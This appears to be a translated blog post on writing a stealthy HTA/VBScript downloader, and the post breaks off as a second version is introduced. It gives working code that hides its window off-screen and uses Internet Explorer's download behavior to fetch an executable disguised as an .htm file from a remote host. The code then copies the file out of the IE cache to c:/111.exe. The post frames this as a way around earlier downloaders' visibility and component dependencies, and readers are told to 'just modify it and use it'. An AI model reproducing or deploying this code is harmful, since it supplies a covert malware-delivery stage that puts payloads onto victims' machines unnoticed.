1. Let’s first talk about two relatively novel vbs downloaders on this blog. One is made using the CDO.Message component and the other is made using Microsoft.XMLDOM. See http://www.jb51.net/article/15506.htm. One of these two downloaders is troublesome to use and needs to convert the exe in advance. Secondly, cscript.exe will access the network during use, which is not too hidden. The second is that some machines do not have these two components and use ADODB.Stream, so there are some disadvantages.
2. Let’s talk about the downloader of lake2 http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx. This downloader is pretty good, but there are problems. One is that if another browser such as 360 is installed, an ie window will be opened, and the ie cache location read from the registry may not be accurate.
3. So how do we update these defects? There is still a way. We use hta to write this, which is relatively rare. hh.exe will generally be released when accessing the network. How many difficulties should be solved by writing this downloader:
(1). Make hta invisible------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(2). Make hta receive command line parameters---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(3). Do not call all components mentioned in the first and second items above---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(4) Temporary location of .ie cache -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(5) We do not call any component----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4. Code (directly write the parameters in hta)
The code is as follows:
<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 'make hta invisible
set objshell= Createobject("WScript.Shell")'hta can directly call WScript.Shell, but cannot call wscript.Createobject("WScript.Shell")
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"/Local Settings" 'Get the download path according to the environment variable
set xml=document.createElement("xml")'The default behavior of creating the xml element call ie
xml.addBehavior("#default#DownLoad")
xml.async=0
xml.load("http://192.168.0.10/xx.htm")'Please change the name of the exe to the space. If you upload it with ftp software, it may not work. It is better to just put it on.
ShowAllFile(downpath)
Sub ShowAllFile(Path) 'Traveling and searching, directly use the code of lake2
FindFileName="xx[1].htm" 'This is also what you need to change. If the above is xx.htm, here is xx[1].htm
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For each f1 in fc
If FSO.FileExists(path&"/"&f1.name&"/"&FindFileName) Then
FSO.CopyFile path&"/"&f1.name&"/"&FindFileName, "c:/111.exe" 'Save to c:/111.exe, and can be changed as needed
'document.write "[+]Download Success !"
End If
ShowAllFile path&"/"&f1.name
Next
Set FSO = Nothing
End Sub
window.close
</script>
The usage is: put exe like xx.exe on the space, then double-click on this hta.
5. Another code (pass command line parameters)
I personally think the code in the fourth part is better, just modify it and use it. If the command line parameters are called, I found that the hta window will still appear and it will only close after downloading, so this is not very good. Code: